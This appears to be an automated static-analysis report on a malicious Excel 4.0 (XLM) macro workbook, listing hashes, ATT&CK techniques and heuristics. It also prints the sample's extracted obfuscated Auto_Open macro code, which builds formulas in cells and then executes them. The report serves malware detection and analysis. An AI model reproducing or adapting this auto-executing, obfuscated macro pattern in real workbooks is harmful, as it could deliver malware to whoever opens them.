Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e985d4245c1e827e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:26:39 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: cb82130c662e10f6406de5b406aaa661 SHA-1: bbebd799cabfce845053acc24dce6b87f9678f72 SHA-256: e985d4245c1e827e2e72b1f21349b42aac9e0ac857a8fa6cf0a2587722aaf74c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a known technique for executing malicious code upon opening the workbook. The critical heuristics indicate the use of dangerous formula APIs within the Auto_Open macro, suggesting it's designed to run arbitrary commands or download and execute a second-stage payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6318 bytes
SHA-256: 08097d511ccadb894585be3925d7c628fd93c5421417e54b02facd10ffd8cfae
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YVL
' 0018     21 LABEL : Cell Value, String Constant - AaUpeg len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I151 
' 0018     24 LABEL : Cell Value, String Constant - bSOpEmXms len=0 
' 0018     21 LABEL : Cell Value, String Constant - CIFqba len=0 
' 0018     21 LABEL : Cell Value, String Constant - cqNFQW len=0 
' 0018     25 LABEL : Cell Value, String Constant - cxzPYPFuep len=0 
' 0018     20 LABEL : Cell Value, String Constant - EdhLS len=0 
' 0018     24 LABEL : Cell Value, String Constant - gFefpyVVT len=0 
' 0018     24 LABEL : Cell Value, String Constant - iMXAQJxoJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - JVtmVj len=0 
' 0018     21 LABEL : Cell Value, String Constant - KOMbJv len=0 
' 0018     25 LABEL : Cell Value, String Constant - kQOQNIqYkL len=0 
' 0018     20 LABEL : Cell Value, String Constant - mCAFi len=0 
' 0018     20 LABEL : Cell Value, String Constant - nniiC len=0 
' 0018     22 LABEL : Cell Value, String Constant - qEaOTvO len=0 
' 0018     27 LABEL : Cell Value, String Constant - RmmiKDaDChvV len=0 
' 0018     22 LABEL : Cell Value, String Constant - tBdotAt len=0 
' 0018     23 LABEL : Cell Value, String Constant - vhMTsejd len=0 
' 0018     20 LABEL : Cell Value, String Constant - wAINa len=0 
' 0018     24 LABEL : Cell Value, String Constant - YERCRfdTq len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZxIzLYQizjn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YVL,I63,"SET.NAME("iMXAQJxoJ",VALUE("0"))",""
'  YVL,I68,"SET.NAME("gFefpyVVT",iMXAQJxoJ)",""
'  YVL,I72,"SET.NAME("KOMbJv",iMXAQJxoJ)",""
'  YVL,I75,"SET.NAME("wAINa",COUNTA(cxzPYPFuep))",""
'  YVL,I78,"SET.NAME("ZxIzLYQizjn",COUNTA(JVtmVj))",""
'  YVL,I83,[],""
'  YVL,I85,"SET.NAME("AaUpeg","")",""
'  YVL,I88,"gFefpyVVT",""
'  YVL,I90,"SET.NAME("vhMTsejd",HLOOKUP("*",cxzPYPFuep,gFefpyVVT,FALSE))",""
'  YVL,I92,"EdhLS",""
'  YVL,I95,"SET.NAME("kQOQNIqYkL",iMXAQJxoJ)",""
'  YVL,I99,[],""
'  YVL,I101,"kQOQNIqYkL",""
'  YVL,I106,"RmmiKDaDChvV",""
'  YVL,I108,"cqNFQW",""
'  YVL,I110,"tBdotAt",""
'  YVL,I113,"SET.NAME("CIFqba",VALUE(HLOOKUP("*",JVtmVj,tBdotAt,FALSE)))",""
'  YVL,I118,"bSOpEmXms",""
'  YVL,I120,"AaUpeg",""
'  YVL,I124,"KOMbJv",""
'  YVL,I129,NEXT(),""
'  YVL,I134,"nniiC",""
'  YVL,I138,"SET.NAME("f",INT(T(FORMULA(T(AaUpeg)&"",""&T(nniiC)))))",""
'  YVL,I142,"mCAFi",""
'  YVL,I146,NEXT(),""
'  YVL,I149,RETURN(),""
'  YVL,I174,"SET.NAME("YERCRfdTq",I63)",""
'  YVL,I177,"cxzPYPFuep",""
'  YVL,I180,"SET.NAME("JVtmVj",R89C11)",""
'  YVL,I184,"SET.NAME("mCAFi",192)",""
'  YVL,I188,"SET.NAME("qEaOTvO",9)",""
'  YVL,I191,YERCRfdTq(),""
'  YVL,I192,HALT(),""

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